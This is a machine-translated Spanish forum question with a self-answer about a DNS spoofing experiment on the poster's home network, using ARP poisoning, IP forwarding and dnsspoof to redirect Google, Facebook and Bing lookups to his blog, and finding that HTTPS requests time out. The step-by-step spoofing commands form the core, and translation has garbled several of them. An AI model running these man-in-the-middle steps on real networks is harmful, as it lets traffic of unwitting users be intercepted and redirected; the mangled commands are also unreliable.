DnsSpoof La máquina de destino no se conecta

0

SETUP:

Máquina de destino: VM en mi red, en una máquina conectada al enrutador

Kali Box: Probé tanto en una máquina virtual en la misma máquina que mi objetivo como en un arranque en vivo en una computadora portátil a través de wifi. Ambos dentro de la misma red

MACHINE IPS:

  

Objetivo: 192.168.1.83

     

Puerta de enlace: 192.168.1.254

     

Dirección para redirigir a: 162.226.5.161 (mi blog)

Pasos tomados para falsificar dns:

  1. Configurar reenvío de tráfico en mi caja kali
  

echo 1 > / proc / sys / net / ipv4 / ip_forward

  1. arp envenena la puerta de entrada
  

arp -i wlan0 -t 192.168.1.254 192.168.1.83

  1. Arp envenena al objetivo
  

arp -i wlan0 -t 192.168.1.83 192.168.1.254

  1. crear un archivo host (usando la pestaña entre la dirección IP y la URL)
  

gato > host

     

162.226.5.161 * .google.com

     

162.226.5.161 * .facebook.com

     

162.226.5.161 * .bing.com

  1. iniciar dns spoof
  

dnsspoof -i wlan0 -f host

Resultados

Cuando uso NSLOOKUP para recuperar los registros DNS de mis sitios de destino, se devuelve la dirección IP esperada de 162.226.5.161. Sin embargo, cuando usted va a los sitios de destino en el navegador, este solo se agota.

Cuandolamáquinadedestinollamaaunodelossitiosdedestino,puedoverdnsspoofregistrandoeltráfico.

EL PROBLEMA:

Como se indicó anteriormente, cuando navega a los sitios de destino en el navegador, la solicitud se agota, aunque NSLOOKUP esté devolviendo la redirección de IP adecuada.

    
pregunta Anthony Russell 20.09.2016 - 02:44
fuente

1 respuesta

0

Supongo que la respuesta fue obvia, pero aún no sé cómo solucionar esto.

Cuando la máquina de destino solicitaba un sitio como Facebook.com, obviamente lo hacía a través de HTTPS. Lo que supongo que significaba que esperaba que el sitio volviera a aceptar una conexión HTTPS.

Esto significa que si deseo DNS Spoof y reenviar la máquina de destino a un sitio diferente que (al menos por el momento hasta que descubra un problema) debe aceptar el mismo protocolo que se solicitó inicialmente.

Para probar esta teoría, encontré un sitio que permite conexiones HTTP (MSN.com) y en cambio devolví mi blog. Esto funcionó a la perfección.

Resultados

Por lo tanto, la respuesta breve al problema anterior fue que estaba intentando reenviar el destino a una máquina que no era compatible con HTTPS, aunque para eso estaba la solicitud inicial de las máquinas objetivo.

Al utilizar un sitio que aceptaba solicitudes HTTP, pude confirmar que este era el problema.

    
respondido por el Anthony Russell 20.09.2016 - 13:00
fuente

Lea otras preguntas en las etiquetas